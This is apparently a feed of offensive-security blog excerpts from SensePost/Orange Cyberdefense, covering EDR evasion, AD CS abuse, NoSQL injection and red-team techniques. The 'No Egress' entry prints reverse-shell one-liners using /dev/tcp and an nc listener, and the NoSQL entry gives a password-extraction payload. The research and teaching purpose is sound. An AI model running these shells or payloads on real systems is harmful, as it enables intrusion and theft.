:: Orange Cyberdefense :: on Orange Cyberdefense

SensePost’s 2026 Artwork

Wed, 08 Jul 2026 06:15:40 +0000

For many years, we’ve released an annual artwork. These are always hand crafted by our people or an artist. Here is this year’s piece and the story behind it.

This year’s artwork was created by Kei-Ella. We have worked with Kei before and wanted someone who could bring a more feminine angle to the typical hacking art. We think she did an incredible job, thanks Kei!

The art can just be enjoyed, you don’t need to know or care what our thinking behind it was, nor does it deny you deriving your own meaning from the art. But, if you would like to know what we were thinking, read on!

Process Parameter Poisoning

Mon, 06 Jul 2026 15:11:53 +0000

Introduction

Authors: Max Hirschberger & Ogulcan Ugur

Process Parameter Poisoning (P³) is an attack technique we developed that is used to inject code in foreign processes, without triggering typical detection mechanisms.

Its ability to fly under the radar has been tested against four market leading Endpoint Detection and Response (EDR) solutions. Code injection succeeded in all cases and no alerts were created, even though the EDRs were configured to detect, block and remediate.

Mobile device interception with MikroTik

Thu, 04 Jun 2026 09:34:57 +0000

Preamble

Anybody who has had a conversation with me about networks probably knows that I’m a bit of a MikroTik fanboy, and for good reason. I am also a long-time user and supporter of OpenWrt which makes my enthusiasm for MikroTik even more significant. Somewhere around 16 years ago I got my first router (TP-Link WR1043ND), my first introduction to OpenWrt, and my first USB-serial cable after accidentally flashing an update to the wrong place and bricking the router. I was amazed at how versatile the platform was, the fact that I could run arbitrary services on my router, limited only by its meagre resources.

OpenSSL, Certpinning and Memory patching. Sounds fun right?

Wed, 01 Apr 2026 13:08:35 +0000

This blogpost will cover the research I presented at BSides JoBurg. You can watch the talk on YouTube, and code can be found on our GitHub page.

This journey started after having looked at some certificate-pinned apps.

The majority of apps that appear to implement cert pinning, don’t actually have cert pinning but rather just use a custom trust manager or are not proxy aware (this also applies to things like Flutter). Thus the first step is to ensure application traffic is forced through our proxy. I utilised an OpenVPN server when working with a physical device and the Android emulator proxy settings when working with a virtual device.

From flat networks to locked up domains with tiering models

Mon, 09 Mar 2026 11:26:05 +0000

I’ve been performing internal assessments for seven years and out of all the things I have learnt, one is certain: without a proper tiering model, security tools alone won’t stop your organization from collapsing after a major compromise.

In this post I’ll explain what a tiering model is, how to break a flat network even when protections are present, and, most importantly, how to build a defense-in-depth network providing practical tips and diagrams.

pipetap – a windows named pipe proxy tool

Fri, 21 Nov 2025 06:03:03 +0000

Windows named pipes, being one of many available mechanisms for inter-component / inter-process communications, is interesting from a security perspective. While hunting for vulnerabilities in various bits of software, I often see the pattern of a privileged process that exposes a named pipe such that a client process can interact with it. More often than not, you’ll eventually be curious enough to want to snoop on the data that is transferred over this named pipe. At this stage you’ll Google “Windows Named Pipe Proxy”, find some results and away you go. My hope is that pipetap is another one of these results you’ll find that can help with your Windows named pipe reverse engineering journey. You can find it here: https://github.com/sensepost/pipetap

Noooooooooo Touch!

Wed, 19 Nov 2025 13:20:10 +0000

TL;DR I presented this work at Insomni’hack, if you’d prefer to watch the recording of that then you can find it here: https://www.youtube.com/watch?v=Nvw_BH7jPzE

Imagine you’re on a physical engagement, standing outside an office door. You need an access card but you don’t have one (yet). You notice that there’s a pattern where employees need to tag in, but to leave they just wave their hand and the door swings open. You pull a torch out of your backpack and switch it on. There’s no visible light but a subtle vibration assures you that it’s on and working. You shine it through the glass door, pointing it at a bookshelf, a chair or wall on the inside, like trying to line up a shot in pool. Within about 5 seconds… pop! The door swings open, there’s nobody else in sight and you walk right in. Not even a fingerprint left behind. It turns out, this scenario isn’t as farfetched as you might think.

A journey implementing Channel Binding on MSSQLClient.py

Fri, 25 Jul 2025 12:03:56 +0000

A few weeks ago my friend Zblurx pushed a PR to Impacket in which he implemented the Channel Binding Token computation based on code that was developed by @lowercase_drm for the ldap3 library. This PR allowed any tool relying on the ldap3 library to be able to connect to LDAP servers even if LDAP signing and LDAPS channel binding are enabled. Looking at the code I thought it would be easy to implement the same mechanism on other protocols such as MSSQL which I was already working on pushing as PRs on NetExec.

pwning asus driverhub, msi center, acer control centre and razer synapse 4

Thu, 24 Jul 2025 17:32:16 +0000

At the beginning of this year I spent a week finding several vulnerabilities in various “bloatware” software. This was after I got suspicious of how my ASUS motherboard’s “DriverHub” behaved. In the end I looked at 6 targets from 6 random vendors (apart from ASUS) and found vulnerabilities ranging from Remote Code Execution to Local Privilege Escalation in all of them. Those were: ASUS, Acer, Lenovo, HP, MSI and Razer.

No Egress, No Shell, No Problem

Thu, 26 Jun 2025 07:35:59 +0000

Context, context, context; Alright, imagine this – you’re on an engagement, find a few vulnerabilities, run a few exploits and next thing you know you have Remote Code Execution (RCE).

Now, like muscle memory, your next instinct would be to get a shell. Running the following is fairly simple:

sh -i >& /dev/tcp/10.0.0.22/4678 0>&1

Then listen in and…

nc -lvnp 4678
...

Huh? Sorry, I mean run this, and…

0<&196;exec 196<>/dev/tcp/10.0.0.22/4678; sh <&196 >&196 2>&196

…and…

Depscanner: Find orphaned packages before the bad guys do

Tue, 03 Jun 2025 15:20:54 +0000

Context

I recently shared with my colleagues the quickest method to getting banned from pypi.org, but, believe or not, that was not the original intention of the talk.

My real intention was to share what the current status of dependency confusion is in 2025 (one flavour of supply chain attacks) and present a tool to detect potential orphan dependencies in GitHub repositories and two short stories, one about great hacking success, and another about being an idiot. Stick around.

Investigating an in-the-wild campaign using RCE in CraftCMS

Fri, 18 Apr 2025 17:31:39 +0000

Introduction

In mid-February, Orange Cyberdefense’s CSIRT was tasked with investigating a server that had been hosting a now-unavailable website. The site had been built using CraftCMS running version 4.12.8. The forensic investigation and post-analysis with the Ethical Hacking team led to the discovery of two CVEs: CVE-2024-58136 and CVE-2025-32432.

This blog post aims to present:

The investigation that led to the finding of those two CVEs, and details of the different IOCs found during the analysis.
The technical details of both CVEs, explaining how the Craft CMS was vulnerable through the Yii Framewrork.
An assessment of the vulnerable assets online.

I. Forensic investigation

TL;DR

On the 14th of February, a threat actor compromised a web server using CVE-2025-32432.
The threat actor used it to download a file manager written in PHP on the server which was later used to upload other PHP files to the server.

The rest of this section will cover the following points:

Intercepting HTTPS Communication in Flutter: Going Full Hardcore Mode with Frida

Wed, 16 Apr 2025 16:26:33 +0000

tl;dr In this blog post, I will share insights I learned while researching the Flutter framework and the reFlutter tool. It will dive deep into Flutter’s architecture, some of its inner workings and dependencies, and finally, drill down into the SSL verification logic. The post will end by exploring what the reFlutter tool actually does and my attempts at replicating the same behaviour with Frida.

Note: If you are in a pinch on a mobile assessment where the application uses Flutter, the reFlutter tool is a great option. This blog post does not advocate that you need to use Frida logic. It is simply an exercise in seeing whether a Frida equivalent may exist.

Is TLS more secure? The WinRMS case.

Mon, 14 Apr 2025 09:07:33 +0000

0/ TL;DR

WinRM is protected against NTLMRelay as communications are encrypted. However WinRMS (the one communicating over HTTPS) is not entirely. That said, WinRMS is not configured on a default server installation (while WinRM is). So, if someone tried to harden their servers’ configurations (by removing the HTTP endpoint), they would open a new possible target that can be used to relay HTTP/SMB and LDAP NTLMv1 only authentications to WinRMS and thus gain remote code execution.

Browser Cache Smuggling: the return of the dropper

Mon, 24 Mar 2025 08:25:35 +0000

A year and a half ago I wrote a blog post describing how browsers’ cache system can be abused to drop malware on targets’ computers. As of today, this technique is still relevant. Browsers haven’t changed their behaviour and as such you can still use it for red team assessments.

I had the opportunity to present the technique at Insomni’hack 2025 and while the technique itself is, I believe, quite interesting, I wanted to go a little further and:

Leakymetry: Circumventing GLPI Authentication

Fri, 21 Mar 2025 10:10:56 +0000

Intro

GLPI (Gestionnaire libre de parc informatique) is a popular open-source software in France and Brazil. It is used to create a mapping of a network through an inventory plugin, but also to gather users’ issues through a ticket system.

Starting research

As I was wondering how the update mechanism worked in GLPI, I saw something really interesting in this file.

It is important to note that most of the GLPI files are not accessible without authentication. Because of this, the attack surface on this software is reduced. However, the update.php script is accessible by an unauthenticated user. And this file contains juicy information. I started looking at it, and I immediately saw that this script under certain parameters, disclosed telemetry information.

Using & improving frida-trace

Wed, 19 Mar 2025 08:01:41 +0000

TL;DR In this blog I want to show you how useful frida-trace can be at hooking thousands of methods at a time. I also wrote some scripts for improving its output a bit.

I often find that half of the problem is finding out what you don’t know. Take a mobile application for instance:

Which class is responsible for the SSL pinning?
Which class does the crypto?
What method is used to retrieve data from the local storage?

Once you have enough information, life becomes a lot easier. Unfortunately, finding this information can be difficult – especially when the mobile application you’ve been given is obfuscated beyond recognition, and the client refuses to provide you the original version, or the source code.

NoSQL error-based injection

Sat, 15 Mar 2025 15:54:46 +0000

TL;DR How to do NoSQL error-based injection

In this second blog post (read the first one here), on NoSQL injection, I discuss how to do error-based injection. I think this might be a novel approach – at least my Google search-fu isn’t finding anything.

When trying to extract information via NoSQL injection, you typically make use of Boolean conditions to figure out a character. Portswigger has a couple of examples here.

In one of Portswigger’s examples, they consider the case where you can look up another user’s profile via a website that’s vulnerable to NoSQL $where injection. To get the first char of the admin user’s password, we then use the payload admin' && this.password[0] == 'a' || 'a'=='b

Capchan – Solving CAPTCHA with Image Classification

Thu, 13 Mar 2025 14:44:49 +0000

A few years ago, I tried my hand at the, now retired, CAPTCHA Forest CTF, which was part of the nullcon HackIM 2019. I wanted to solve it using computer vision and machine learning. This started me on a path of discovery and incremental improvements that finally resulted in capchan, a generic CAPTCHA to text tool.

This post is broken into four parts:

The first CTF
The second CTF
Neural Network Fundamentals
Creating capchan

ATTEMPT_ZERO

Starting the CTF – I connected to the netcat instance, but after staring at hexadecimal, I immediately closed it and moved on to try another CTF.

Getting rid of pre- and post-conditions in NoSQL injections

Tue, 11 Mar 2025 12:52:49 +0000

TL;DR: I found a cool way to get rid of pre-conditions in NOSQL syntax injections

I have been investigating NoSQL injection for a bit, trying to make it better, or at least somewhat equivalent to SQL injection. One of the things that are tricky with NoSQL injection is getting rid of pre- and post-conditions.

For this post I’m focusing on MongoDB, so

s/NoSQL injection/Mongo injection/g

Background

In case you forgot, most MongoDB queries will look something like this in the background:

goLAPS

Mon, 10 Mar 2025 11:51:33 +0000

Context

During the last SenseCon we had at OrangeCyberdefense in May 2024 (see https://sensepost.com/blog/sensecon/), we usually either pick-up from a list of ideas or pitch our own to implement in the 24 hours to work on whatever project is itching you.

I proposed a few ideas. I’ll leave some of them here verbatim (I have removed the ideas that were only applicable internally), in case you want to tackle the challenges yourself or they inspire you to do something else:

Diving Into AD CS: Exploring Some Common Error Messages

Fri, 07 Mar 2025 12:02:23 +0000

Abuse of Active Directory Certificate Services (AD CS) has become a staple of our internal network assessment methodology. In fact, I can’t recall an internal I’ve done in the past two or more years that didn’t feature ADCS abuse in some manner or another.

We can all agree that when AD CS abuse works as intended, it is fantastic. As Tinus Green stated in his BSides talk, AD CS abuse is the teleport scroll to the top of the mountain. It allows us to rapidly gain high-privileged access to the domain and, from there, can target more lucrative objectives.

InvokeADCheck – A PowerShell Module for Assessing Active Directory

Thu, 06 Mar 2025 10:24:28 +0000

Introduction

During an Active Directory (AD) assessment, I found myself struggling with a collection of individual PowerShell scripts and their formatting—or rather, the lack thereof. The various PowerShell scripts included public, as well as proprietary, scripts that were used for retrieving Active Directory objects and their attributes. Faced with resource and time constraints within the team, I proposed to try to come up with a better, more efficient way to conduct some of the checks that we do during an AD assessment. Inspired in part by the excellent work of Sean Metcalf, the author of Invoke-TrimarcADChecks, my colleague Justin (Justin –P) and I (N1ck3nd) set out to develop what would ultimately become the InvokeADCheck PowerShell module.

PsExec’ing the right way and why zero trust is mandatory

Mon, 10 Feb 2025 07:57:49 +0000

2021 was the year I met two incredible hackers, Michael and Reino with whom I had the opportunity to work with during my first ever SenseCon.

The Sensecon is an internal conference that lasts 3 days during which we meet people, share knowledge and have fun. There is also a day long hackathon during which we work on hacking subjects we are interested in.

For that hackathon, we wanted to dig into PsExec.exe in order to see if it is possible to communicate with it via a python script and thus not depend anymore on a windows system. Spoiler alert, we were able to! But for some reasons, the project died in a private repo.

make prs, not war

Mon, 08 Jul 2024 12:37:28 +0000

Everyday we’re faced with a choice – some glaringly obvious, others more subtle. The choice to give, or to take, is something that I believe is deeply rooted in each of us, and choosing to give, to contribute no matter how big or small, almost always ends up bigger than ourselves.

Imagined by us, and illustrated by the amazingly talented @christidutoit, I’m excited to show you “make pr’s, not war” – our 2024 SensePost artwork.

Dumping LSA secrets: a story about task decorrelation

Wed, 03 Jul 2024 17:07:10 +0000

While doing an internal assessment, I was able to compromise multiple computers and servers but wasn’t able to dump the LSA secrets because of a particular EDR being installed and pretty aggressive against me.

In this blog post we’ll see how this EDR was blocking me and why it is still possible to dump these secrets exploiting decorrelation attacks! As a bonus, I’ll show you a fancy way of retrieving the Windows boot key without having to dump the SYSTEM hive.

From a GLPI patch bypass to RCE

Thu, 20 Jun 2024 10:04:24 +0000

Introduction

GLPI is a popular software used by companies, mainly in France. GLPI is usually used for two main purposes. Firstly it allows companies to see the inventory of their different equipment (such as: computers, software, printers, etc…). Secondly it is used for its ticketing system, allowing users to create tickets about their issues. It also has different roles for each user, those who can only create tickets (low privileges user), and those who get central access (again there are different roles here). During an internal penetration test, chances are that if you got an account, you will be a low privilege user, known as Self-Service.

Targeting an industrial protocol gateway

Thu, 30 May 2024 11:19:55 +0000

Inside industrial systems (also known as Operational Technology, or OT), devices communicate with each other and can be accessed over IP using familiar IT protocols (such as SSH, web services, etc.), as well as with a variety of industrial network protocols. Among them, you may have heard of Modbus, maybe S7comm, OPC-UA and a few others, but do you know all the industrial protocols you could find on industrial networks? It would take a lifetime to list them all, considering the field-specific standards, the manufacturer-dependent protocols and variations, the association-promoted specifications, and their numerous versions, layers, extensions and adaptations. In the end, an industrial process typically involves a collection of devices, servers and workstations that are likely to use many different protocols and still need to understand each other.

Guest vs Null session on Windows

Thu, 18 Apr 2024 19:12:05 +0000

If you have been doing internal assessments on Active Directory infrastructure you may have heard the following words: “Null session”, “Guest session” and “Anonymous session”. These words describe techniques that can be used on Windows servers to connect to resources and obtain information about a computer or Active Directory objects such as users or SMB shares you have access on. Even if these techniques are well known I realised that people, including myself, didn’t understand them completely. This got me wanting to better understand it, hence this blogpost :)!

From Discovery to Disclosure: ReCrystallize Server Vulnerabilities

Fri, 22 Mar 2024 07:47:02 +0000

TL&DR – While on an assessment, I found an instance of ReCrystallize Server. It had many problems, some of which had to do with insufficient hardening on the client’s side while others were new vulnerabilities I found that when chained together, achieve Remote Code Execution (RCE). These vulnerabilities were disclosed to ReCrystallize Software and MITRE.

Besides the disclosed vulnerabilities, some “features” were also used for malicious purposes. The replication and validation of the findings were done on my own test environment.

Mail in the Middle – A tool to automate spear phishing campaigns

Mon, 26 Feb 2024 14:32:27 +0000

Context

In the chilly month of December 2023, my colleagues Jason (@BreakerOfSigns), Szymon (@TH3_GOAT_FARM3R), and myself (@felmoltor) were on a red team. This one was tough, but we had fun. We had to be a bit more creative than I am used to and two interesting things were done that are worth sharing:

Szymon and Jason physically broke into the client’s facilities. At a branch office, they left an implant using Rogan’s “Slimjim” device and it proved to be a solid and production ready project. Try it out and let us know how it goes.
I developed a tool that we named Mail-in-the-Middle (Maitm for short). You can find it in our Github repository here: https://github.com/sensepost/mail-in-the-middle.

I cannot speak in first person about the physical breakin beyond praising the excellent social engineering skills of both of my colleagues, but I can talk about Mail-in-the-Middle.

Deck of Cards CTF

Mon, 19 Feb 2024 10:39:21 +0000

I created a small crypto style CTF for Black Hat last year (we’re training again this year, check our courses out) and hid the starting point in an “easter egg” on a deck of cards. The deck of cards are a custom design by the SensePost training team, which were themed around hacking and were handed out during the conference. This post covers how we built it, and how to solve it.

Serial PitM

Tue, 06 Feb 2024 15:04:48 +0000

Sometimes you need to get in the way of a hardware device and its controller, and see what it has to say for itself. If you are lucky, the two parts are communicating using a serial port, and then it’s relatively simple to do. In this post, I will explain two scenarios where I had to do this, and the approach that I took in each. As a bonus, I’ll also show some hardware that I put together to make it easier.

Sensecon 23: from Windows drivers to an almost fully working EDR

Wed, 31 Jan 2024 08:33:14 +0000

TL;DR I wanted to better understand EDR’s so I built a dummy EDR and talk about it here.

EDR (Endpoint Detection and Response) is a kind of security product that aims to detect abnormal activities being executed on a computer or a server.

When looking for resources about how EDR’s work, I realised that, even if there is a lot of literature available about EDR’s, there aren’t many articles explaining how an EDR’s is architected and how the different components of a EDR are orchestrated. This article aims to demystify how EDR’s work while building a custom one that will implement a few techniques used by real EDR’s.

your contributions, today

Wed, 20 Dec 2023 07:14:53 +0000

Keynoting 0xcon in Johannesburg this year, I had the immense privilege of talking and sharing ideas about something that is dear to my heart. That is, giving back more than you take. And by giving back I don’t mean *just* doing research or writing tools. Instead, giving back includes things like writing documentation or even just teaching someone else!

In my talk, “your contributions, today” I reflected on a current view of practical security research and contributions in a time of ever-increasing systems complexity, abstractions and Instagram reels. By drawing parallels to the “Free-rider Problem” as described in an economics context, I argued that as an industry we need to caution against this phenomenon manifesting by actively making contributions.

Why defend harder won’t work in the long run and what to do instead – arrest criminals

Tue, 12 Dec 2023 11:21:56 +0000

The whole of information/cyber security is founded on the idea that we can defend ourselves into security. But in the history of competitive endeavours nobody has won by playing defence alone. We have this idea that we can wrap our users and systems in enough padding to protect them in a world where guns exist. We’ve leaned so hard into this idea that we’re on the floor and it’s time to look up.

we’re going to bsides cape town 2023

Tue, 28 Nov 2023 07:17:03 +0000

Arguably one of the largest hacking conferences in South Africa, BSides Cape Town 2023 is around the corner and the SensePost Team is there with a jam packed agenda demonstrating our latest research (with five talks), challenges and more! In this post, I’ll summarise what you can expect. For timing related information, check out the schedule here. Be sure to come and say hi at our stand in the chill area too.

Black Hat Card Deck CTF

Tue, 31 Oct 2023 07:10:26 +0000

In 2023 we, the training team within Orange Cyberdefense and specifically Ulrich Swart, Matthew Hughes and myself, attempted to do something a little different for Black Hat with regards to our in class competition.

Each year we give a select few students some swag for portraying the most “plakker” mindset, being active in class, or finding another method to solve the practical.

The concept we decided to explore that year was creating a deck of standard playing cards they could bring out when friends are over and become a discussion point. The cards have educational tidbits about some material they will learn on some of our flagship courses, specifically the Infrastructure, Web Application, Wi-Fi and Red Team courses each had their own suit.

P4wnP1 LTE updates

Fri, 27 Oct 2023 15:12:27 +0000

After publishing my blog post about running P4wnP1 on an LTE modem, where I explained how to install Linux and P4wnP1 on an actual LTE modem for sneaky USB attacks, and then trying and failing to do an internal presentation to show it off to folks, I realised that I had not completely documented the process. In fact, I had left it rather incomplete as it turned out! As I was intending to give a public demonstration of P4wnP1-LTE, I had some work to do.

Reading Large Files and Perf

Tue, 19 Sep 2023 08:08:18 +0000

One of the things that has often confused me is how little good advice there is for reading large files efficiently when writing code.

Typically most people use whatever the canonical file read suggestion for their language is, until they need to read large files and it’s too slow. Then they google “efficiently reading large files in <lang>” and are pointed to a buffered reader of some sort, and that’s that.

Dress Code – The Talk

Wed, 23 Aug 2023 16:29:05 +0000

TL;DR

This post is a summary of the contents of my talk in Defcon 31 AppSec Village last August 2023, and part of what I will explain in Canada at the SecTor conference on the 24th of October 2023 at 4:00 PM.

There are two (big) blocks in this post. Sorry for the length <(_ _)>:

The first part is about the not so well-known CSP bypasses that I found during this research. These can be of use in your next pentest, bug bounty, etc. Have a look at the 8 third-party domains that can be abused to bypass a strict policy to execute that sweet Cross-Site Scripting (XSS) or clickjacking proof of concept that was initially being blocked.
The second part takes a step back and delves into the process of getting Content-Securiy-Policy (CSP) data from top 1 million sites and the conclusions I draw from it. After reading this part you will get a sense of how widespread and well-implemented CSP is across the Internet. You will also learn the common pitfalls people fall into when implementing the policy. The tool I wrote to scan and collect this information and review the results can be found in https://github.com/sensepost/dresscode

Index

Context

Last year I was working on a web application assessment, one of these assessments that are repeated every year in which the analyst has to face a hardened application. Therefore, every year, the report gets smaller and smaller when we look at the number of vulnerabilities.

Filter-Mute Operation: Investigating EDR Internal Communication

Fri, 28 Jul 2023 14:38:54 +0000

For our annual internal hacker conference dubbed SenseCon in 2023, I decided to take a look at communication between a Windows driver and its user-mode process. Here are some details about that journey.

TL;DR

Attackers could use Windows kernel R/W exploit primitive to avoid communication between EDR_Driver.sys and its EDR_process.exe. As a result some EDR detection mechanisms will be disabled and make it (partially) blind to malicious payloads. This blogpost describes an alternative approach which doesn’t remove kernel callbacks and gives some recommendations for protecting against this “filter-mute” attack.

Orange Cyberdefense at Hacker Summer Camp

Mon, 17 Jul 2023 15:55:03 +0000

It’s that time of year again where we head out to the desert, more specifically Las Vegas, for what is known as Hacker Summer Camp to attend Black Hat and DEF CON 31! Like previous years, the SensePost team will be present in full force delivering talks, training and hanging out at numerous occasions. For an idea on what we’ve got lined up, check out the rest of this blog post. If you’re keen to meet up, feel free to reach out!

Browsers’ cache smuggling

Mon, 10 Jul 2023 08:33:20 +0000

On red team engagements, I often use social engineering to get one of my client’s employees to run my malicious code on their machines, allowing me to get access to their system. A typical approach I’ve used is to call them up, tell them I’m from IT support, and then get them to go to an official looking web page that contains some PowerShell code they need to run, to fix some made-up problem.

P4wnP1-LTE

Sun, 09 Jul 2023 18:06:49 +0000

I’ve written a couple of blog posts in the past in which I explain how to use Marcus Mengs’ truly excellent P4wnP1. The most common deployment scenario involves a Raspberry Pi Zero W, or possibly a FriendlyArm NanoPi R1S. The downside of these platforms is that you need to be in fairly close physical proximity in order to access the WiFi interface, or even closer to access Bluetooth. The NanoPi R1S can support an LTE modem, to give you much bigger range, but the downside to that is that it looks pretty clunky.

select * from projectdiscovery join steampipe

Mon, 03 Jul 2023 09:52:34 +0000

Recently, I decided to take a look at Steampipe again. I like SQL and the structure it provides, and after playing around a bit I figured: “Wouldn’t it be cool to write a plugin for the immensely popular projectdiscovery tools?”. That is exactly what I did and you can find the source code for it here: https://github.com/sensepost/steampipe-plugin-projectdiscovery.

overview

For the purposes of footprinting, everything you can do with steampipe you can do with a bash script. You technically don’t need SQL. However, with bash you always need to bust out some text wrangling with tools like sed and awk. That in itself isn’t bad, but the data is inherently unstructured and error-prone as a result. Instead, if we could have our data in a database, we could do arbitrary lookups, join and more!

an offensive look at docker desktop extensions

Tue, 30 May 2023 07:24:42 +0000

For our annual internal hacker conference dubbed SenseCon in 2023, I decided to take a quick look at Docker Desktop Extensions. Almost exactly a year after being announced, I wondered what the risks of a malicious docker extension could be. This is a writeup of what I learned, a few tricks I used to get some answers and how I found a “non-issue” command injection in the extensions SDK. Everything in this post was tested on macOS and Docker Desktop 4.19.0 (106363).

Investigating the Wink Hub 2

Fri, 26 May 2023 10:40:21 +0000

Rogan brought half of his hardware parts bin to the hackathon!

Michael Rodger, Daniel Scragg, Isak van der Walt, Thulani Mabuza and Rogan Dawes formed the Chubby Hackers team to investigate the Wink Hub 2 during SenseCon 2023. This was building on our project from SenseCon 2022 where we looked at the Wink Hub 1, particularly the various debug interfaces for the main i.MX28 and the peripheral radio controller chips. There is quite a lot of detailed information available online for the Wink Hub 1, but not a whole lot for the Wink Hub 2. In fact, there is practically nothing! We aimed to change that.

hash-cracker – password cracking done effectively

Wed, 05 Apr 2023 12:35:21 +0000

Intro

I wrote a tool to help with cracking of hashes, today I finally decided to blog about it. The idea was to take what I’d learned about common patterns in passwords, and put my experience into practice to make password cracking more efficient on future engagements. Below is a short history of how we got to where we are, as well as some examples of how to use it.

Protected Users: you thought you were safe uh?

Fri, 31 Mar 2023 06:03:38 +0000

On the 31st of October 2022, a PR on CrackMapExec from Thomas Seigneuret (@Zblurx) was merged. This PR fixed Kerberos authentication in the CrackMapExec framework. Seeing that, I instantly wanted to try it out and play a bit with it. While doing so I discovered a weird behaviour with the Protected Users group. In this blogpost I’ll explain what the Protected Users group is, why it is a nice security feature and yet why it is incomplete for the Administrator (RID500) user.

From BitLocker-Suspended to Virtual Machine

Tue, 28 Mar 2023 18:06:02 +0000

On a recent red-team I was given a client laptop from which I was expected to simulate an insider-threat/employee laptop compromise scenario over their VPN.

I was given a normal employee user account and did not have local administrator privileges. The laptop itself was riddled with security products and snitchware, threatening to report back every action taken on the system to the SOC/SIEM. My first objective was to obtain local administrative access, so that I could disable these security products.

Decoding BlazorPack

Wed, 22 Feb 2023 02:05:00 +0000

TL;DR: I couldn’t make a custom BlazorPack editor work in Burp, so I used Mallet instead. From an indecipherable binary mess to this, in about 100 lines:

Decoded BlazorPack messages

For details on how to do this yourself, even for other protocols, read on!

On a recent assessment, Marianka ran into a website using BlazorPack. As Microsoft describes it: “Today’s modern apps are expected to deliver up-to-date information without hitting a refresh button. Add real-time functionality to your dashboards, maps, games and more.”

Jumping into SOCKS

Tue, 24 Jan 2023 10:59:07 +0000

On a recent internal assessment, we ran into a problem. While holding low-privileged access to an internal Windows host, we realised the software on the host was communicating to a remote API endpoint over HTTPS. However, the remote endpoint was enforcing authentication using client SSL certificates.

Normally, the above scenario is easily fixed by exporting the local client SSL certificate from the host and importing it into either Burp Suite or Postman. In Burp Suite, when you want to use a client SSL certificate, you must manually load the certificate and private key into it. This implies (on Windows, at least) that you’ll need to export the client SSL certificate. However, this is only possible if you hold appropriate permissions to the certificate and its private key and it allows exporting.

CertPotato – Using ADCS to privesc from virtual and network service accounts to local system

Fri, 04 Nov 2022 13:27:54 +0000

The goal of this blog post is to present a privilege escalation I found while working on ADCS. We will see how it is possible to elevate our privileges to NT AUTHORITY\SYSTEM from virtual and network service accounts of a domain-joined machine (for example from a webshell on a Windows server) using ADCS. I want to call this attack chain “CertPotato” as homage to other *Potato tools and as a way to better remember it.

Abusing Windows’ tokens to compromise Active Directory without touching LSASS

Thu, 27 Oct 2022 16:48:02 +0000

During an internal assessment, I performed an NTLM relay and ended up owning the NT AUTHORITY\SYSTEM account of the Windows server. Looking at the users connected on the same server, I knew that a domain administrator account was connected. All I had to do to compromise the domain, was compromise the account. This could be achieved by dumping the memory of the LSASS process and collecting their credentials or Kerberos TGT’s. Seemed easy until I realised an EDR was installed on the system. Long story short, I ended up compromising the domain admin account without touching the LSASS process. To do so, I relied on an internal Windows mechanism called token manipulation.

WireSocks for Easy Proxied Routing

Fri, 30 Sep 2022 04:48:00 +0000

I built some infrastructure that you could deploy and use to easily tunnel from arbitrary sources over a proxy such as SOCKS, using anything that can run WireGuard. This is convenient in cases where it would be nicer to have a full network route to a target network (with working DNS) vs just having application specific proxy rules. In this post I’ll elaborate a bit on that idea. If you are just looking for the code you can find it here: https://github.com/sensepost/wiresocks.

sensecon 2022 – wait a minute, you got legs? edition

Wed, 03 Aug 2022 13:27:41 +0000

In a world of returning back to, well, “normal” it meant that we could finally have our annual internal hackathon as Orange Cyberdefense in person! And that is exactly what SenseCon 2022 was. An internal, global ethical hacker conference spread across six regions. In this post we’ll talk about exactly that, the challenges as well as the projects people worked on.

As a bonus, we have one of the challenges, BuzzWord, available for you to play via our Discord server, today! Just join using this link, and check out the instructions in the #buzzword-instructions channel.

me vs request smugglingPOST

Tue, 19 Jul 2022 08:35:32 +0000

I’ve come to realise that I wasn’t the only one that has never actually exploited an HTTP Request Smuggling vulnerability, three years after James Kettle reminded the world of it. Like many, I’ve seen the buzz, read it all, thought I understood it, but honestly, I didn’t. While the potential impact sounds great from an attacker perspective, I’ve been mostly confused by a lot of it. That was until the 2022 HackTheBox Business CTF challenge called PhishTale in the web category came around. Focussing less on the overall solving of the challenge and more on the request smuggling, in this post I’ll tell you about my journey of how I finally got to exploit an HTTP desync attack (specifically HTTP2 request smuggling).

Sail away, sail away, sail away

Tue, 31 May 2022 18:09:14 +0000

A while back, after some live music and drinks at Railways, I made my way to another city for pleasant weather, some dubious food, the ever-wakeful seagulls, and ultimately – an assessment.

After playing around for a few days, Jason and I had obtained access to a system which contained cleartext credentials, namely ihsadmin:ihsadmin.

Using these credentials, we were also able to SSH into a management server of sorts. While this was great, there were still several other servers in-scope that we had no access to. After scanning the network for a bit, I found out that a couple of these servers ran HTTP services on port 80, 8008 and 9080.

using a cloud mac with a local ios device

Sat, 28 May 2022 16:34:37 +0000

Doing iOS mobile assessments without macOS around is not exactly fun. This can be for many reasons that include code signing and app deployment to name a few. Alternatives exist for some of these tasks (like the amazing libimobiledevice project or more recently an attempt to get code signing to work without macOS), but nothing beats using a real macOS device for most of those tasks. Be it to patch mobile apps with a Frida gadget, or to deploy an application from Xcode, whatever your reason for needing this, in this short post I’ll show you how to use @CorelliumHQ‘s usbfluxd project or a simple SSH tunnel to make a locally connected iOS device (eg. your Linux laptop) available to a remote macOS device such that you could expose it to Xcode, in the cloud.

Constrained Delegation Considerations for Lateral Movement

Wed, 18 May 2022 06:35:32 +0000

The abuse of constrained delegation configuration, whereby a compromised domain user or computer account configured with constrained delegation can be leveraged to impersonate domain users to preconfigured trusted services, is a common attack path in Active Directory. For each trusted service, a unique service ticket is used, that explicitly corresponds to the service type for which it was requested. For example, to access Windows file shares, a CIFS ticket is required. Meanwhile, to leverage the WinRM protocol, a HTTP service ticket is required instead. Compromise of such service tickets aids in lateral movement and further compromise.

Left To My Own Devices – Fast NTCracking in Rust

Wed, 16 Feb 2022 12:33:23 +0000

When I got a new MacBook with an M1 Pro chip, I was excited to see the performance benefits. The first thing I did was to fire up hashcat which gave an impressive benchmark speed for NT hashes (mode 1000) of around 9 GH/s, a solid doubling of the benchmark speed of my old Intel MacBook Pro. But, when it came to actually cracking things, the speed dropped off considerably. Instead of figuring out why, I decided to try my hand at writing my own NT hash cracker, because I’m kind of addicted to writing single use tooling in rust then taking time to perf optimise it.

SIM Hijacking

Mon, 07 Feb 2022 12:29:41 +0000

Introduction

“533 million Facebook users’ phone numbers leaked” was one of the highlighted titles that flooded many social networks’ pages. The leak that was initially for sale in 2020 has more recently been released for free on a hacker forum containing mobile numbers, and a bunch of other related information. This news gave birth to websites like https://haveibeenzucked.com, where you could check if the Facebook data leak contained your data. (https://haveibeenpwned.com allows you to check it now as well).

Android Application Testing Using Windows 11 and Windows Subsystem for Android

Tue, 16 Nov 2021 09:10:15 +0000

